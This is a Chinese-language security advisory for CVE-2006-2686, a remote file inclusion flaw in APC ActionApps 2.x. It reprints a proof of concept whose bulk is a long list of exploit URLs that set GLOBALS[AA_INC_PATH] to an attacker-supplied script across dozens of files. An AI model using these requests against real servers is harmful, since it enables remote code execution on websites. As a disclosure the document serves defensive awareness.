发布日期：2006-05-25
更新日期：2006-05-26

受影响系统：

Association for Progressive Communications (APC) ActionApps 2.x

描述：

---

CVE(CAN) ID: CVE-2006-2686

ActionApps是一款基于Web的协作内容发布系统。

ActionApps处理用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。

ActionApps的多个脚本没有正确验证GLOBALS[AA_INC_PATH]参数的输入，允许攻击者通过包含本地或外部资源的任意文件导致执行任意PHP代码。

<**>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

################ DEVIL TEAM THE BEST POLISH TEAM #################
#APC ActionApps CMS (2.8.1) - Remote File Include Vulnerabilities
#Find by Kacper (Rahim).
#Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#site: http://sourceforge.net/projects/apc-aa/
##################################################################
/*
cached.php3:
... (line:35)
require_once $GLOBALS['AA_INC_PATH']."locsess.php3";
...

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

cron.php3:
... (line:47)
require_once $GLOBALS['AA_INC_PATH']."locsess.php3";
...

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

discussion.php3:
... (line:80)
require_once $GLOBALS['AA_INC_PATH']."easy_scroller.php3";
...

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

filldisc.php3:
... (line:75)
require_once $GLOBALS['AA_INC_PATH']."locsess.php3";
...

And more.......... ;-)

*/

expl:

http://www.site.com/[APC_path]/cached.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/cron.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/discussion.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/filldisc.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/filler.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/fillform.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/go.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]
http://www.site.com/[APC_path]/hiercons.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/jsview.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/live_checkbox.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/offline.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/post2shtml.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/search.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/slice.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/sql_update.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/view.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]


/*
In Admin/ folder all files have:

require_once "include/config.php3";
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
include/config.php3: on line 79

require_once $GLOBALS['AA_INC_PATH']."mgettext.php3";

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

only this file: logout.php3, prev_navigation.php3, preview.php3, dont
have this verbilities

All can expl:


http://www.site.com/[APC_path]/admin/[any_file]?GLOBALS[AA_INC_PATH]=[evil_scripts]


*/
in includes/ folder:


http://www.site.com/[APC_path]/include/auth.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/constants.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/csn_util.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/discussion.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/event.class.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/event_handler.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/extauth.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/extauthnobody.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/feeding.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/fileman.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/formutil.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/item.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/item_content.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/itemfunc.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/itemview.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/javascript.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/mail.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/mailman.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/menu.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/notify.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/pagecache.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/perm_sql.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/profile.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/searchbar.class.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/searchlib.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/slicedit.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/sliceobj.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/slicewiz.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/stringexpand.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/tabledit.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/tabledit_util.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/tv_email.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/tv_misc.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/um_uedit.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/um_util.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/view.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/xml_fetch.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/xml_rssparse.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]

http://www.site.com/[APC_path]/include/zids.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]


/*
and more verbs in modules/ folder :)
*/

###################################################################
#Elo ;-)

建议：

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厂商补丁：

Association for Progressive Communications (APC)
------------------------------------------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://actionapps.org/en/Main_Page

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